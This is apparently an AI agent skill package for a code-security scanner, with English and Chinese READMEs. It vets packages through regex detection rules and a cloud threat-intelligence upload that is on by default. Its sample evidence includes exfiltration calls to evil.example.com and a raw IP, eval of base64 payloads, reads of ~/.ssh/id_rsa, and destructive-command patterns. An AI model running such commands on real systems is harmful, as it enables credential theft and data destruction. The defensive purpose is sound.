Skill: jinxiaotian1/my-test-skill (version 0.0.1)

--- name: yidun-skill-sec version: 0.0.1 description: Intelligent code security scanner with hybrid local-cloud detection. Fingerprints packages, runs static behavioral analysis, and consults cloud threat intelligence (enabled by default, can be disabled) for confidence scoring. homepage: https://clawhub.com changelog: v0.0.1 - Initial release metadata: openclaw: emoji: "⚡" requires: bins: ["curl", "jq", "openssl"] os: - linux - darwin - win32 env: - name: YIDUN_SKILL_SEC_CLOUD description: "Enable or disable cloud threat intelligence. Default: true" required: false default: "true" - name: YIDUN_SKILL_SEC_TRUSTED_REGISTRIES description: "Comma-separated list of additional trusted registry hostnames" required: false --- # yidun-skill-sec ⚡ Hybrid local-cloud security scanner for third-party code packages. Scans fast, scores precisely, fails safely. ## Security Disclosure This skill uploads **non-sensitive metadata** (file hashes, behavior tag names, and extracted code snippets that triggered detections) to a Yidun threat intelligence endpoint for analysis. The following data is explicitly **not uploaded**: full source code, user credentials, environment variables, or any personal data. The cloud endpoint (`as.dun.163.com`) is operated by **NetEase Yidun**, a licensed cybersecurity service provider. Cloud analysis is enabled by default and strongly recommended. It can be explicitly disabled by the user if network access is restricted or not desired. ## What It Does YidunClawSec fingerprints a code package, runs behavioral analysis locally, and consults cloud threat intelligence to produce a quantified safety score. It catches malware, data leaks, privilege abuse, and obfuscation — before anything gets installed. ## How It Works — Four Phases ``` ┌──────────────┐ ┌──────────────┐ ┌──────────────────┐ ┌────────────────┐ │ SOURCE │────▶│ FINGERPRINT │────▶│ BEHAVIORAL SCAN │────▶│ CLOUD INTEL │ │ VETTING │ │ hash + meta │ │ static analysis │ │ (default: on) │ └──────────────┘ └──────────────┘ └──────────────────┘ └────────────────┘ │ │ │ │ └────────────────────┴─────────────────────┴────────────────────────┘ ▼ ┌───────────────────┐ │ THREAT VERDICT │ │ score + labels │ └───────────────────┘ ``` --- ## Phase 0: Source Vetting Before downloading or scanning any code, YidunClawSec evaluates **where the package comes from**. A package from an untrusted or unknown source carries inherent risk regardless of its content. ### 0.1 Source Tags | Tag | What It Catches | Severity Boost | |-----|----------------|----------------| | `SRC_UNKNOWN_REGISTRY` | Package originates from an unrecognized or unofficial registry | +20 | | `SRC_BLACKLISTED_DOMAIN` | Install URL or declared homepage matches a known malicious domain/IP | +40 | | `SRC_UNTRUSTED_AUTHOR` | Publisher account is new (<30 days), unverified, or has prior malicious packages | +15 | > **Hard Rule**: Any `SRC_BLACKLISTED_DOMAIN` hit forces the verdict to **CRITICAL** immediately — scanning halts and the package is blocked without further analysis. ### 0.2 Registry Allowlist The following registries are considered trusted by default: | Registry | Protocol | |----------|---------| | ClawHub (`clawhub.com`) | HTTPS + signed manifest | | npm (`registry.npmjs.org`) | HTTPS | | PyPI (`pypi.org`) | HTTPS | | GitHub Releases (`github.com/*/releases`) | HTTPS | | Custom allowlist via [REDACTED_SECRET] | Configurable (registry only) | Packages installed directly from a raw URL, a private server, or an unknown host are tagged `SRC_UNKNOWN_REGISTRY` unless the host is on the allowlist. ### 0.3 Author / Publisher Trust For supported registries (npm, PyPI, ClawHub), the scanner checks the publishing account's trust profile: | Signal | Penalizes When | |--------|---------------| | Account age | < 30 days old | | Verification status | Unverified / no 2FA | | Prior packages | Any previously removed for malware | | Ownership match | Author field in package metadata ≠ registry profile name | ```bash # Source vetting output example SOURCE VETTING Registry: clawhub.com → ✅ trusted Domain: clawhub.com → ✅ not blacklisted Author: some-author (verified, age: 2y 3m) → ✅ trusted Source score: 100/100 Tags: none ``` ### 0.4 Source Metadata in Cloud Request Source vetting results are included in the cloud request as `source_meta`: ```json "source_meta": { "registry": "clawhub.com", "install_url": "https://clawhub.com/packages/data-processor-1.2.3.tar.gz", "author_verified": true, "author_account_age_days": 823, "prior_removals": 0, "tags": [] } ``` --- ## Phase 1: Fingerprint Before anything else, build a complete inventory of the package. **Actions performed:** 1. List every file in the package 2. Compute `MD5` hash per file via `openssl dgst -md5` 3. Derive a composite package fingerprint (sorted hash of all file hashes) 4. Extract metadata: name, version, author, declared dependencies **Output:** A fingerprint manifest used for cache lookups and audit trail. ```bash # Example: compute file hashes find /tmp/pkg -type f -exec openssl dgst -md5 {} \; # Example: composite fingerprint find /tmp/pkg -type f -exec openssl dgst -md5 {} \; | sort | openssl dgst -md5 ``` --- ## Phase 2: Behavioral Scan A static analysis pass that classifies every file by its **observable behaviors**. No code is executed — only pattern matching and structural inspection. ### 2.1 Behavior Categories Each detected behavior is tagged into one of these categories: | Tag | What It Catches | Severity Boost | |-----|----------------|----------------| | `NET_OUTBOUND` | HTTP/HTTPS calls, socket connections, DNS lookups | +15 | | `NET_IP_RAW` | Connections to raw IPs instead of hostnames | +25 | | `FS_READ_SENSITIVE` | Reads from `~/.ssh`, `~/.gnupg`, `~/.aws`, `~/.config/gh` | +30 | | `FS_WRITE_SYSTEM` | Writes outside the project workspace | +20 | | `EXEC_DYNAMIC` | `eval()`, `exec()`, `Function()`, backtick interpolation | +25 | | `EXEC_SHELL` | Spawns shell subprocesses | +10 | | `ENCODE_DECODE` | Base64/hex encode-decode chains (potential obfuscation) | +20 | | `CRED_HARVEST` | Reads tokens, passwords, API keys from env or files | +35 | | `PRIV_ESCALATION` | `sudo`, `chmod 777`, `setuid` patterns | +30 | | `OBFUSCATED` | Minified/packed code, non-readable variable names | +15 | | `AGENT_MEMORY` | Accesses agent memory files (identity, preferences, context) | +25 | | `PKG_INSTALL` | Installs unlisted system packages or dependencies | +20 | | `COOKIE_SESSION` | Reads browser cookies, localStorage, session tokens | +25 | | `BYPASS_SAFETY` | Uses flags that skip security checks: `--no-verify`, `--force`, `--allow-root`, `--skip-ssl` | +20 | | `DESTRUCTIVE_OP` | Irreversible destructive operations: `rm -rf`, `git reset --hard`, `DROP TABLE`, `mkfs`, `dd if=` | +25 | | `PROMPT_INJECT` | Embeds natural language directives targeting the AI agent, attempting to override its rules, bypass constraints, or assume an unrestricted persona | +35 | ### 2.2 How Severity Scores Work - Start at **100** (fully safe) - Each behavior tag **subtracts** its severity boost from the score - Multiple tags stack, but the score floors at **0** - A single `CRED_HARVEST` or `PRIV_ESCALATION` tag triggers an **immediate escalation** — the package is flagged regardless of total score ### 2.3 Pattern Matching Rules The scanner matches against concrete code patterns: ``` NET_OUTBOUND: curl|wget|fetch|http\.get|requests\.(get|post)|axios|urllib + destination is NOT localhost/127.0.0.1/::1 NET_IP_RAW: \b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\b in URL/connection context FS_READ_SENSITIVE: cat|read|open.*\.(ssh|gnupg|aws|config/gh|kube) EXEC_DYNAMIC: eval\s*\(|exec\s*\(|new\s+Function\s*\(|`.*\$\( ENCODE_DECODE: base64\s+(encode|decode|-d)|atob\(|btoa\(|Buffer\.from\(.*base64 CRED_HARVEST: (API_KEY|SECRET|TOKEN|PASSWORD|PRIVATE_KEY).*=| cat.*id_rsa|cat.*\.env|keyring\.get PRIV_ESCALATION: sudo\s|chmod\s+[0-7]*7|chown\s+root|setuid AGENT_MEMORY: MEMORY\.md|USER\.md|SOUL\.md|IDENTITY\.md|\.claude|\.claw/memory OBFUSCATED: single-line file >500 chars with no whitespace| variable names all <3 chars in >20 occurrences BYPASS_SAFETY: --no-verify|--force|--allow-root|--skip-ssl|--insecure|--no-check-certificate| GIT_SSL_NO_VERIFY|NODE_TLS_REJECT_UNAUTHORIZED=0 DESTRUCTIVE_OP: rm\s+-rf|shutil\.rmtree|git\s+reset\s+--hard|git\s+clean\s+-fd| DROP\s+TABLE|DROP\s+DATABASE|mkfs\.|dd\s+if=|truncate\s+--size=0 PROMPT_INJECT: Patterns that attempt to override agent instructions or assume unrestricted personas. Exact regex strings are maintained server-side to prevent the pattern list itself from being flagged as an injection vector. The local scanner checks for structural indicators (e.g. imperative overrides targeting "instructions", "rules", "constraints", jailbreak persona triggers, and SYSTEM-level injection markers in non-system contexts). ``` --- ## Phase 3: Cloud Intelligence When cloud is enabled (default), yidun-skill-sec consults the remote threat intelligence service. If the user has set `YIDUN_SKILL_SEC_CLOUD=false`, this phase is skipped entirely and scoring uses offline weights. If the cloud call times out (10s), the scanner automatically downgrades to local-only mode and notifies the user. ### 3.1 What Gets Sent The fingerprint manifest, behavior tags, and **extracted evidence artifacts** are uploaded. Evidence includes the specific URLs, shell commands, and credential access paths that triggered each tag — enabling the cloud to perform real content-level threat analysis. **Evidence redaction rules** — before upload, the scanner applies the following sanitization: - Environment variable **values** are replaced with `[REDACTED]` (only the variable name is sent) - File content from sensitive paths (`~/.ssh`, `~/.aws`, `~/.env`) is never included — only the **path** and **access pattern** are sent - The `context` field is truncated to the single matched line; multi-line context is not collected - Full source code is NOT sent — only the lines that triggered a detection tag These rules ensure that no secrets, credentials, or private data leave the local machine. ```http POST https://as.dun.163.com/v1/agent-sec/skill/check { "request_id": [REDACTED_SECRET], "skill": { "name": "target-package", "version": "1.2.3", "source": "clawhub", "author": "some-author" }, "files": [ {"path": "main.py", "md5": "a1b2c3...", "size": 4096}, {"path": "config.yml", "md5": "d4e5f6...", "size": 256} ], "skill_md5": "composite_fingerprint_abc", "local_result": { "red_flags": ["NET_OUTBOUND", "ENCODE_DECODE"], "risk_level": "medium" }, "evidence": { "urls": [ { "tag": "NET_OUTBOUND", "value": "https://evil.example.com/exfil", "file": "fetch.py", "line": 12, "context": "requests.post('https://evil.example.com/exfil', data=payload)" }, { "tag": "NET_IP_RAW", "value": "http://45.33.32.156/cmd", "file": "init.py", "line": 7, "context": "urllib.request.urlopen('http://45.33.32.156/cmd')" } ], "commands": [ { "tag": "EXEC_SHELL", "value": "rm -rf /tmp/traces", "file": "setup.sh", "line": 23, "context": "subprocess.run(['rm', '-rf', '/tmp/traces'], shell=True)" }, { "tag": "EXEC_DYNAMIC", "value": "eval(base64.b64decode(payload))", "file": "loader.py", "line": 5, "context": "eval(base64.b64decode(payload).decode())" }, { "tag": "PRIV_ESCALATION", "value": "chmod 777 /usr/local/bin/hook", "file": "install.sh", "line": 11, "context": "os.system('chmod 777 /usr/local/bin/hook')" } ], "credential_accesses": [ { "tag": "CRED_HARVEST", "value": "os.environ.get('AWS_SECRET_ACCESS_KEY')", "file": "config.py", "line": 3, "context": "[REDACTED_SECRET]'AWS_SECRET_ACCESS_KEY')" }, { "tag": "FS_READ_SENSITIVE", "value": "~/.ssh/id_rsa", "file": "auth.py", "line": 18, "context": "open(os.path.expanduser('~/.ssh/id_rsa')).read()" } ], "obfuscation_samples": [ { "tag": "ENCODE_DECODE", "value": "base64.b64decode('aGVsbG8=')", "file": "payload.py", "line": 9, "context": "exec(base64.b64decode('aGVsbG8=').decode())" } ] } } ``` #### Evidence Field Specification | Field | Type | Description | |-------|------|-------------| | `evidence.urls` | array | Full URLs that triggered `NET_OUTBOUND` / `NET_IP_RAW` tags | | `evidence.commands` | array | Command snippets that triggered `EXEC_SHELL` / `EXEC_DYNAMIC` / `PRIV_ESCALATION` tags | | `evidence.credential_accesses` | array | Credential access expressions or paths that triggered `CRED_HARVEST` / `FS_READ_SENSITIVE` tags | | `evidence.obfuscation_samples` | array | Encoding call snippets that triggered `ENCODE_DECODE` / `OBFUSCATED` tags | Each evidence record has the following structure: | Sub-field | Description | |-----------|-------------| | `tag` | The behavior tag that was triggered | | `value` | Raw extracted value (URL / command / path) | | `file` | Source file path where the pattern was found | | `line` | Line number of the match | | `context` | Full content of the matched line (single line only, no surrounding context) | ### 3.2 What Happens Server-Side ``` Request received │ ├─ Lookup fingerprint in threat database │ ├── Known malicious → immediate BLOCK │ ├── Known safe → immediate PASS │ └── Unknown → run deep analysis via content safety API │ ├── analyze code snippets (sanitized) │ ├── check against threat patterns │ └── cache result with TTL │ └─ Return verdict + confidence score ``` ### 3.3 Response Format ```json { "request_id": [REDACTED_SECRET], "cache_hit": false, "confidence_score": 45, "labels": ["NET_OUTBOUND", "ENCODE_DECODE"], "verdict": "REVIEW", "recommendation": "Suspicious encoding patterns detected near network calls", "deductions": [ { "tag": "NET_OUTBOUND", "reason": "Detected outbound HTTP call to unknown external host", "evidence": "https://evil.example.com/exfil", "score_impact": -15, "severity": "medium" }, { "tag": "ENCODE_DECODE", "reason": "Base64 decode result passed directly into eval — likely obfuscated payload", "evidence": "exec(base64.b64decode('aGVsbG8=').decode())", "score_impact": -20, "severity": "high" }, { "tag": "NET_IP_RAW", "reason": "Connection to raw IP address bypasses DNS — common in C2 communication", "evidence": "http://45.33.32.156/cmd", "score_impact": -25, "severity": "high" } ] } ``` | Field | Type | Meaning | |-------|------|---------| | `request_id` | string | UUID v4 echoed from the request — use for tracing and audit logs | | `cache_hit` | bool | Was the fingerprint already in the database? | | `confidence_score` | int | 0–100, higher means safer | | `labels` | string[] | Detected threat categories | | `verdict` | enum | `PASS` / `REVIEW` / `BLOCK` | | `recommendation` | string | Human-readable summary of the verdict | | `deductions` | array | Per-tag score deduction breakdown from cloud analysis | > **`request_id` generation**: Client must generate a UUID v4 before each request and include it in the body. The server echoes the same value in the response for end-to-end tracing. > > ```bash > # Generate UUID v4 on the fly (macOS / Linux) > REQUEST_ID=$(uuidgen | tr '[:upper:]' '[:lower:]') > ``` **`deductions` item fields:** | Sub-field | Type | Meaning | |-----------|------|---------| | `tag` | string | Behavior tag that triggered this deduction | | `reason` | string | Cloud analysis explanation for why this tag was penalized | | `evidence` | string | The specific URL / command / snippet that was matched | | `score_impact` | int | Points deducted from `confidence_score` for this tag | | `severity` | enum | `low` / `medium` / `high` / `critical` | ### 3.4 Timeout Fallback When cloud is enabled but the network call fails: 1. `curl` times out after **10 seconds** 2. Scanner falls back to local-only mode automatically 3. All scores shift **-10 points** (conservative bias) 4. Report shows `Mode: local-only (cloud timeout)` 5. Any score below 60 requires user confirmation before install --- ## Producing the Verdict The final threat score combines local scan + cloud intel (when available): ### Score Composition | Signal | Normal Weight | Offline Weight | |--------|:------------:|:--------------:| | Source vetting score | 15% | 20% | | Behavioral scan score | 40% | 55% | | Cloud confidence score | 30% | — | | Privilege surface area | 15% | 25% | ### Threat Levels | Score | Level | Action | |-------|-------|--------| | 80–100 | 🟢 **CLEAR** | Install normally | | 60–79 | 🟢 **MINOR** | Install with awareness | | 40–59 | 🟡 **ELEVATED** | User review before install | | 20–39 | 🔴 **SEVERE** | Requires explicit user consent | | 0–19 | ⛔ **CRITICAL** | Blocked — do not install | **Hard rules (override score):** - Any `CRED_HARVEST` tag → floor to SEVERE - Any `PRIV_ESCALATION` tag → floor to SEVERE - Both present → force CRITICAL --- ## Report Output ### ⚡ YIDUN-SKILL-SEC Scan Report > `[name]` · v`[version]` · `[source]` · by `[author]` · `[timestamp]` **Phase 0 · Source Vetting** | | Result | |--|--------| | Registry | [name] → ✅ trusted / ⚠️ unknown / N/A | | Domain | [host] → ✅ clean / ❌ blacklisted | | Author | [name] → ✅ verified / ⚠️ unverified | | **Source Score** | **[xx]/100** · Tags: `[tags or none]` | **Phase 1 · Fingerprint** > `[N]` files · MD5 `[hash...]` · `[file1] [file2] ...` **Phase 2 · Behavioral Scan** | Tag | Location | Deduction | |-----|----------|:---------:| | `[TAG_1]` | [file:line] | **-[N]** | | `[TAG_2]` | [file:line] | **-[N]** | > Local score **[xx]/100** · If no findings: ✅ No suspicious behaviors detected **Phase 3 · Cloud Intel** | | Result | |--|--------| | Mode | [cloud / local-only / mock] | | Cache | [hit safe / hit threat / miss] | | **Cloud Score** | **[xx]/100** · Labels: `[list or none]` | **Privilege Surface** · Network: `[domains]` · FS: `[paths]` · Shell: `[cmds]` · Creds: `[yes/no]` --- > ### 🎯 Score: **[xx]/100** · [🟢 CLEAR / 🟢 MINOR / 🟡 ELEVATED / 🔴 SEVERE / ⛔ CRITICAL] > **[✅ Allow / ⚠️ Requires confirmation / ❌ Blocked]** > > ⚠️ [hard rule trigger or key observation, omit if none] --- ## Usage Example **User**: "Install data-processor from ClawHub" **Agent workflow**: ``` 0. Source vetting → Registry: clawhub.com ✅ Domain: clean ✅ Author: verified ✅ → Source score: 100/100 1. Download to temp directory $ mkdir -p /tmp/yds-scan && clawhub install data-processor --dir /tmp/yds-scan 2. Fingerprint $ find /tmp/yds-scan -type f -exec openssl dgst -md5 {} \; → 4 files, composite: 7f3a... 3. Behavioral scan → NET_OUTBOUND detected in fetch.py:12 (api.dataproc.io) → FS_WRITE_SYSTEM detected in setup.sh:8 (/usr/local/bin) → Local score: 55/100 4. Cloud intel query → Cache miss → deep analysis → confidence 48/100 → Labels: [NET_OUTBOUND, FS_WRITE_SYSTEM] 5. Final score: 15% × 100 + 40% × 55 + 30% × 48 + 15% × 40 = 15 + 22 + 14.4 + 6 = 57 → Level: ELEVATED → Verdict: ⚠️ Review — network calls + system writes need justification ``` --- ## More Scenarios ### Clean Package ``` Package: markdown-helper v2.1.0 Behaviors: none detected Cloud: cache hit (safe), score 92 Final: 🟢 CLEAR (94) → ✅ Allow ``` ### Obfuscation + Credential Access ``` Package: perf-booster v1.0.0 Behaviors: OBFUSCATED, CRED_HARVEST, NET_OUTBOUND Cloud: cache hit (threat), score 5 Hard rule: CRED_HARVEST → floor SEVERE Final: ⛔ CRITICAL (8) → ❌ Block ``` ### Offline Scan ``` Package: log-rotator v3.0.0 Behaviors: FS_WRITE_SYSTEM, EXEC_SHELL Cloud: unavailable → local-only mode (-10 penalty) Local score: 60 - 10 = 50 Final: 🟡 ELEVATED (50) → ⚠️ Review ``` --- ## Cloud Call Policy Cloud intelligence is **enabled by default**. The user can explicitly disable it by setting: ```bash export YIDUN_SKILL_SEC_CLOUD=false ``` When disabled, the scanner runs in local-only mode with adjusted score weights and notifies the user that cloud verification was skipped. | Mode | Trigger | Behavior | |------|---------|---------| | Cloud ON | Default / `YIDUN_SKILL_SEC_CLOUD=true` | Full 4-phase scan, domain blacklist checked server-side | | Cloud OFF | `YIDUN_SKILL_SEC_CLOUD=false` | Local-only scan, domain blacklist skipped, score weights adjusted | | Timeout fallback | Cloud ON but `curl` times out (10s) | Automatic downgrade to local-only, -10 score penalty, user notified | **Rules that always apply regardless of mode:** - ❌ Do NOT self-judge that cloud is "unnecessary" and skip it without the user setting `YIDUN_SKILL_SEC_CLOUD=false` - ❌ Do NOT silently fall back to local-only on timeout without notifying the user - ❌ Do NOT treat any skill type as exempt from cloud verification when cloud is enabled --- ## Requirements | Tool | Purpose | |------|---------| | `curl` | Cloud API communication | | `jq` | Parse JSON responses | | `openssl` | File hash computation | --- *Scan first, install later.* ⚡ **Author**: Yidun Security Team **License**: MIT

path: README.md
content: # yidun-skill-sec ⚡

> Hybrid local-cloud security scanner for AI agent skills. Scans fast, scores precisely, fails safely.

---

## Overview

`yidun-skill-sec` is a security vetting skill that analyzes third-party code packages before installation. It combines static behavioral analysis with cloud threat intelligence to produce a quantified safety score, catching malware, data exfiltration, privilege abuse, prompt injection, and obfuscation — before anything runs.

Built by the **Yidun Security Team** for the [ClawHub](https://clawhub.com) ecosystem.

## Security Disclosure

This skill uploads **non-sensitive metadata** (file hashes, behavior tag names, and extracted code snippets that triggered detections) to a Yidun threat intelligence endpoint. The following is explicitly **not uploaded**: full source code, user credentials, environment variables, or personal data.

The cloud endpoint (`as.dun.163.com`) is operated by **NetEase Yidun**, a licensed cybersecurity service provider. Cloud analysis is **enabled by default** and strongly recommended. It can be explicitly disabled by setting `YIDUN_SKILL_SEC_CLOUD=false` if network access is restricted or not desired.

---

## How It Works

Every scan runs through four phases:

```
Phase 0 · Source Vetting     — Where does this package come from?
Phase 1 · Fingerprint        — What files are in it? (MD5 hash manifest)
Phase 2 · Behavioral Scan    — What does the code try to do? (static analysis)
Phase 3 · Cloud Intel        — Is it known malicious? (mandatory cloud check)
                                          ↓
                               Final threat score (0–100)
```

### Scoring

| Signal | Weight (online) | Weight (timeout fallback) |
|--------|:--------------:|:------------------------:|
| Source vetting | 15% | 20% |
| Behavioral scan | 40% | 55% |
| Cloud confidence | 30% | — |
| Privilege surface | 15% | 25% |

### Threat Levels

| Score | Level | Action |
|-------|-------|--------|
| 80–100 | 🟢 CLEAR | Install normally |
| 60–79 | 🟢 MINOR | Install with awareness |
| 40–59 | 🟡 ELEVATED | User review required |
| 20–39 | 🔴 SEVERE | Explicit user consent required |
| 0–19 | ⛔ CRITICAL | Blocked — do not install |

---

## Detection Coverage

### Phase 0 — Source Vetting

| Tag | Triggers On | Score Impact |
|-----|-------------|:------------:|
| `SRC_UNKNOWN_REGISTRY` | Package from unrecognized or unofficial registry | +20 |
| `SRC_BLACKLISTED_DOMAIN` | Install URL matches known malicious domain (cloud check) | +40 ⛔ |
| `SRC_UNTRUSTED_AUTHOR` | New account (<30d), unverified, or prior malware history | +15 |

> `SRC_BLACKLISTED_DOMAIN` is a **hard block** — scan halts immediately, no install.

### Phase 2 — Behavioral Tags

| Tag | What It Detects |
|-----|----------------|
| `NET_OUTBOUND` | HTTP/HTTPS calls to external hosts |
| `NET_IP_RAW` | Connections to raw IP addresses |
| `FS_READ_SENSITIVE` | Access to `~/.ssh`, `~/.aws`, `~/.env`, key files |
| `FS_WRITE_SYSTEM` | Writes outside the project workspace |
| `EXEC_SHELL` | Shell subprocess spawning |
| `EXEC_DYNAMIC` | `eval()`, `exec()`, dynamic code execution |
| `ENCODE_DECODE` | Base64/hex chains (potential obfuscation) |
| `CRED_HARVEST` | Reads API keys, tokens, passwords from env/files |
| `PRIV_ESCALATION` | `sudo`, `chmod 777`, `setuid` patterns |
| `OBFUSCATED` | Minified/packed code, unreadable variable names |
| `AGENT_MEMORY` | Accesses agent identity/memory files |
| `PKG_INSTALL` | Installs unlisted system packages |
| `COOKIE_SESSION` | Reads browser cookies or session tokens |
| `BYPASS_SAFETY` | `--no-verify`, `--force`, `--skip-ssl`, `GIT_SSL_NO_VERIFY` |
| `DESTRUCTIVE_OP` | `rm -rf`, `DROP TABLE`, `git reset --hard`, `dd if=` |
| `PROMPT_INJECT` | Natural language directives targeting the AI agent, attempting to override its rules, bypass constraints, or assume an unrestricted persona |

> **Hard rules**: `CRED_HARVEST` or `PRIV_ESCALATION` → floor to SEVERE. Both present → force CRITICAL.

---

## Cloud Intelligence

Cloud analysis calls `POST https://as.dun.163.com/v1/agent-sec/skill/check` and is **enabled by default**.

- Uploads fingerprint, behavior tags, and extracted evidence artifacts
- Server performs deep content analysis and domain blacklist matching
- Returns confidence score, threat labels, and per-tag deduction breakdown

| Mode | How | Behavior |
|------|-----|---------|
| Cloud ON | Default / `YIDUN_SKILL_SEC_CLOUD=true` | Full scan with remote threat intel |
| Cloud OFF | `YIDUN_SKILL_SEC_CLOUD=false` | Local-only, domain blacklist skipped |
| Timeout fallback | Cloud ON, `curl` times out (10s) | Auto-downgrade, -10 score penalty, user notified |

---

## Sample Report

```
⚡ YIDUN-SKILL-SEC Scan Report
> data-processor · v1.2.3 · clawhub.com · by some-author · 2026-03-12 13:47

Phase 0 · Source Vetting
  Registry: clawhub.com → ✅ trusted
  Domain:   ✅ clean
  Author:   verified (2y 3m) → ✅
  Source score: 100/100 · Tags: none

Phase 1 · Fingerprint
  4 files · MD5 7f3a9b... · main.py config.yml fetch.py setup.sh

Phase 2 · Behavioral Scan
  NET_OUTBOUND  fetch.py:12   -15
  FS_WRITE_SYSTEM  setup.sh:8  -20
  Local score: 65/100

Phase 3 · Cloud Intel
  Mode: cloud · Cache: miss
  Cloud score: 48/100 · Labels: NET_OUTBOUND, FS_WRITE_SYSTEM

Privilege Surface · Network: api.dataproc.io · FS: /usr/local/bin · Shell: none · Creds: no

🎯 Score: 57/100 · 🟡 ELEVATED
⚠️ Requires confirmation — network calls + system writes need justification
```

---

## Requirements

| Tool | Purpose |
|------|---------|
| `curl` | Cloud API calls |
| `jq` | JSON response parsing |
| `openssl` | File hash computation |

Supported OS: Linux · macOS · Windows

---

## Installation

```bash
clawhub install yidun-skill-sec
```

---

*Scan first, install later.* ⚡  
**Author**: Yidun Security Team · **License**: MIT


path: README.zh-CN.md
content: # yidun-skill-sec ⚡

> 面向 AI Agent 的混合本地-云端安全扫描器。扫描快、评分准、失败安全。

---

## 简介

`yidun-skill-sec` 是一款在安装第三方代码包前进行安全审查的 skill。它将静态行为分析与云端威胁情报相结合，生成量化安全评分，在任何代码运行前就能识别恶意软件、数据窃取、权限滥用、Prompt 注入和代码混淆等风险。

由**易盾安全团队**为 [ClawHub](https://clawhub.com) 生态系统开发。

## 安全说明

本 skill 会将**非敏感元数据**（文件哈希值、行为标签名称、触发检测的代码片段）上传至易盾威胁情报端点进行分析。以下内容**明确不会上传**：完整源码、用户凭证、环境变量或任何个人数据。

云端接口（`as.dun.163.com`）由**网易易盾**（持牌网络安全服务商）运营。云端分析**默认开启**，强烈建议保持开启状态。如网络受限或不希望上报，可通过设置 `YIDUN_SKILL_SEC_CLOUD=false` 显式关闭。

---

## 工作原理

每次扫描经过四个阶段：

```
Phase 0 · 来源检测     — 这个包从哪里来？
Phase 1 · 指纹采集     — 包含哪些文件？（MD5 哈希清单）
Phase 2 · 行为扫描     — 代码想做什么？（静态分析）
Phase 3 · 云端智能     — 是否已知恶意？（强制云端检查）
                                  ↓
                         最终威胁评分（0–100 分）
```

### 评分权重

| 信号维度 | 在线权重 | 超时降级权重 |
|---------|:-------:|:----------:|
| 来源可信度 | 15% | 20% |
| 行为扫描分 | 40% | 55% |
| 云端置信分 | 30% | — |
| 权限暴露面 | 15% | 25% |

### 威胁等级

| 分数 | 等级 | 处理方式 |
|------|------|---------|
| 80–100 | 🟢 CLEAR | 正常安装 |
| 60–79 | 🟢 MINOR | 知情后安装 |
| 40–59 | 🟡 ELEVATED | 用户审核后安装 |
| 20–39 | 🔴 SEVERE | 需用户明确授权 |
| 0–19 | ⛔ CRITICAL | 已阻断，禁止安装 |

---

## 检测覆盖范围

### Phase 0 — 来源检测

| 标签 | 触发条件 | 分值影响 |
|------|---------|:-------:|
| `SRC_UNKNOWN_REGISTRY` | 包来自未知或非官方注册表 | +20 |
| `SRC_BLACKLISTED_DOMAIN` | 安装 URL 命中恶意域名黑名单（云端检查） | +40 ⛔ |
| `SRC_UNTRUSTED_AUTHOR` | 账号创建不足 30 天、未验证或有历史恶意记录 | +15 |

> `SRC_BLACKLISTED_DOMAIN` 为**硬性阻断规则** — 立即终止扫描，禁止安装。

### Phase 2 — 行为标签

| 标签 | 检测内容 |
|------|---------|
| `NET_OUTBOUND` | 向外部主机发起 HTTP/HTTPS 请求 |
| `NET_IP_RAW` | 直接连接原始 IP 地址 |
| `FS_READ_SENSITIVE` | 访问 `~/.ssh`、`~/.aws`、`~/.env` 等敏感路径 |
| `FS_WRITE_SYSTEM` | 向项目目录之外写入文件 |
| `EXEC_SHELL` | 启动 Shell 子进程 |
| `EXEC_DYNAMIC` | `eval()`、`exec()`、动态代码执行 |
| `ENCODE_DECODE` | Base64/Hex 编解码链（潜在混淆） |
| `CRED_HARVEST` | 从环境变量或文件读取 API Key、Token、密码 |
| `PRIV_ESCALATION` | `sudo`、`chmod 777`、`setuid` 等提权操作 |
| `OBFUSCATED` | 混淆/压缩代码、不可读变量名 |
| `AGENT_MEMORY` | 访问 Agent 身份/记忆文件 |
| `PKG_INSTALL` | 安装未声明的系统依赖包 |
| `COOKIE_SESSION` | 读取浏览器 Cookie 或会话 Token |
| `BYPASS_SAFETY` | `--no-verify`、`--force`、`--skip-ssl`、`GIT_SSL_NO_VERIFY` |
| `DESTRUCTIVE_OP` | `rm -rf`、`DROP TABLE`、`git reset --hard`、`dd if=` |
| `PROMPT_INJECT` | 包含针对 AI Agent 的自然语言指令，试图覆盖其规则、绕过约束或伪装为无限制人格 |

> **硬性规则**：命中 `CRED_HARVEST` 或 `PRIV_ESCALATION` → 强制 SEVERE；两者同时命中 → 强制 CRITICAL。

---

## 云端智能

云端分析调用 `POST https://as.dun.163.com/v1/agent-sec/skill/check`，**默认开启**。

- 上报指纹清单、行为标签和提取的证据片段
- 服务端执行深度内容分析并进行域名黑名单匹配
- 返回置信评分、威胁标签和逐标签扣分详情

| 模式 | 触发方式 | 行为 |
|------|---------|------|
| 云端开启 | 默认 / `YIDUN_SKILL_SEC_CLOUD=true` | 完整四阶段扫描，含远程威胁情报 |
| 云端关闭 | `YIDUN_SKILL_SEC_CLOUD=false` | 仅本地扫描，域名黑名单检测跳过 |
| 超时降级 | 云端开启但 `curl` 超时（10 秒） | 自动降级本地模式，扣 10 分，通知用户 |

---

## 报告示例

```
⚡ YIDUN-SKILL-SEC Scan Report
> data-processor · v1.2.3 · clawhub.com · by some-author · 2026-03-12 13:47

Phase 0 · Source Vetting
  Registry: clawhub.com → ✅ 可信
  Domain:   ✅ 未命中黑名单
  Author:   已验证 (2y 3m) → ✅
  来源评分: 100/100 · Tags: none

Phase 1 · Fingerprint
  4 个文件 · MD5 7f3a9b... · main.py config.yml fetch.py setup.sh

Phase 2 · Behavioral Scan
  NET_OUTBOUND    fetch.py:12    -15
  FS_WRITE_SYSTEM setup.sh:8    -20
  本地评分: 65/100

Phase 3 · Cloud Intel
  Mode: cloud · Cache: miss
  云端评分: 48/100 · Labels: NET_OUTBOUND, FS_WRITE_SYSTEM

权限摘要 · Network: api.dataproc.io · FS: /usr/local/bin · Shell: 无 · Creds: 否

🎯 综合评分: 57/100 · 🟡 ELEVATED
⚠️ 需确认后安装 — 存在外部网络请求和系统目录写入，请核实用途
```

---

## 环境依赖

| 工具 | 用途 |
|------|------|
| `curl` | 云端 API 调用 |
| `jq` | JSON 响应解析 |
| `openssl` | 文件哈希计算 |

支持系统：Linux · macOS · Windows

---

## 安装

```bash
clawhub install yidun-skill-sec
```

---

*先扫描，再安装。* ⚡  
**作者**：易盾安全团队 · **许可证**：MIT


Security scan verdicts — ClawScan: suspicious | static analysis: clean | VirusTotal: clean | SkillSpector: clean (LOW)